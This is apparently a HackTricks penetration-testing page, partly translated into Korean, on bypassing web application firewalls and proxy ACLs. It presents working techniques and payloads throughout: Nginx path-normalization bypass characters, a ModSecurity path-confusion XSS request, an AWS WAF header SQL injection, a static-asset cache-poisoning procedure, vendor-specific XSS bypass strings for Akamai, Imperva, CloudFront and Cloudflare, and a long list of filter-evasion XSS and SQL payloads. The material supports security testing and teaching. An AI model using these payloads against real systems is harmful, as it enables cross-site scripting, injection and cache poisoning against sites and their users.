Proxy / WAF Protections Bypass

Reading time: 12 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Bypass Nginx ACL Rules with Pathname Manipulation

기법은 이 연구에서 가져옴.

Nginx 규칙 예시:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

우회를 방지하기 위해 Nginx는 검사하기 전에 경로 정규화(path normalization)를 수행합니다. 그러나 백엔드 서버가 다른 정규화(nginx가 제거하지 않는 문자를 제거하는 등)를 수행하면 이 방어를 우회할 수 있습니다.

NodeJS - Express

Nginx 버전Node.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx 버전Flask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx 버전Spring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM 구성:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx는 /admin.php에 대한 접근을 차단하도록 구성되어 있지만 /admin.php/index.php에 접근하면 이를 우회할 수 있습니다.

방지 방법

plaintext
location ~* ^/admin {
deny all;
}

Mod Security 규칙 우회

경로 혼동

In this post에서는 ModSecurity v3 (3.0.12까지)가 접근한 경로(파라미터 시작 전까지)를 포함해야 할 REQUEST_FILENAME 변수를 부적절하게 구현했다고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.
따라서 http://example.com/foo%3f';alert(1);foo= 같은 요청은 mod security에서는 %3f?로 변환되어 URL 경로를 종료한다고 보고 경로를 /foo로 간주하지만, 실제로 서버가 받는 경로는 /foo%3f';alert(1);foo=입니다.

REQUEST_BASENAMEPATH_INFO 변수도 이 버그의 영향을 받았습니다.

비슷한 문제가 Mod Security 버전 2에서도 발생했는데, 백업 파일과 관련된 특정 확장자(예: .bak)에 대한 접근을 차단하는 보호를 우회할 수 있었고, 이는 점을 %2e로 URL 인코딩하여 전송하면 가능했습니다. 예: https://example.com/backup%2ebak.

AWS WAF ACL 우회

잘못된 Header

This research에서는 AWS가 제대로 파싱하지 못했지만 backend server는 파싱한 "malformed" header를 전송함으로써 HTTP headers에 적용된 AWS WAF 규칙을 우회할 수 있었음을 언급합니다.

예를 들어, 헤더 X-Query에 SQL injection을 넣어 다음과 같은 요청을 보내는 경우:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).

일반적인 WAF 우회

Request Size Limits

Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.

Application Load Balancer 및 AWS AppSync 보호에서 검사할 수 있는 웹 요청 본문 최대 크기8 KB
CloudFront, API Gateway, Amazon Cognito, App Runner 및 Verified Access 보호에서 검사할 수 있는 웹 요청 본문 최대 크기**64 KB

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:

If prevention mode: 요청을 기록하고 차단합니다.
If detection mode: 제한까지 검사하고 나머지는 무시하며, Content-Length가 제한을 초과하면 로그를 남깁니다.

By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.

Up to 128KB.

Static assets inspection gaps (.js GETs)

Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with .js), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.

Practical use cases:

  • Send payloads in untrusted headers (e.g., User-Agent) on a GET to a .js path to avoid content inspection, then immediately request the main HTML to influence the cached variant.
  • Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
  • In Burp Repeater, use "Send group in parallel" (single-packet style) to race the two requests (.js then HTML) through the same front-end path.

This pairs well with header-reflection cache poisoning. See:

Cache Poisoning and Cache Deception

난독화

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode 호환성

Unicode 정규화의 구현 방식에 따라 (자세한 내용은 here), 호환되는 Unicode 문자들이 WAF를 우회하여 의도한 payload로 실행될 수 있습니다. 호환 가능한 문자는 here에서 확인할 수 있습니다.

예시

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

As mentioned in this blog post, In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.

예시로, 해당 포스트에서는 Akamai가 사용자 입력을 10번 URL 디코드했다고 언급되어 있다. 따라서 <input/%2525252525252525253e/onfocus 같은 문자열은 Akamai에서 <input/>/onfocus로 보일 수 있는데, 이는 태그가 닫혔다고 판단될 수도 있다는 뜻이다. 그러나 애플리케이션이 입력을 10번 URL 디코드하지 않는 한, 실제 피해자는 <input/%25252525252525253e/onfocus 같은 것을 보게 되며 이는 여전히 XSS 공격에 유효하다.

따라서 이는 WAF가 디코드하고 해석하는 반면 실제 피해자는 보지 못하는 인코딩된 구성요소에 페이로드를 숨길 수 있게 해준다.

또한 이것은 URL encoded 페이로드뿐만 아니라 unicode, hex, octal 등 다른 인코딩에서도 가능하다.

In the post the following final bypasses are suggested:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

It's also mentioned that depending on how some WAFs understand the context of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between /* and */ (potentially because this is commonly used as comments. Therefore, a SQLinjection such as /*'or sleep(5)-- -*/ won't be caught and will be valid as /* is the starting string of the injection and */ is commented.

어떤 WAF가 사용자 입력의 컨텍스트를 어떻게 해석하는가에 따라 이를 악용할 수 있다는 점도 언급되어 있다. 블로그의 예로 Akamai는 주석으로 흔히 사용되는 이유로 /**/ 사이에 어떤 내용이든 허용(또는 무시)했다고 한다. 따라서 /*'or sleep(5)-- -*/ 같은 SQLinjection은 차단되지 않을 수 있는데, 이는 /*가 인젝션의 시작 문자열로 인식되고 */는 주석 처리되기 때문이다.

These kind of context problems can also be used to abuse other vulnerabilities than the one expected to be exploited by the WAF (e.g. this could also be used to exploit a XSS).

이러한 컨텍스트 문제들은 WAF가 의도한 취약점 외의 다른 취약점(예: XSS)을 악용하는 데에도 사용될 수 있다.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at PayloadsAllTheThings and OWASP. The examples below were pulled from this article.

방화벽의 regex 필터를 우회하기 위해 다양한 기법을 사용할 수 있다. 예로는 대소문자 교체(alternating case), 줄바꿈 추가, payloads 인코딩 등이 있다. 여러 우회 기법 자료는 PayloadsAllTheThingsOWASP에서 찾을 수 있다. 아래 예제들은 this article에서 가져온 것이다.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

도구

  • nowafpls: Burp 플러그인으로 요청에 불필요한 데이터를 추가하여 길이 기반으로 WAFs를 우회합니다

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기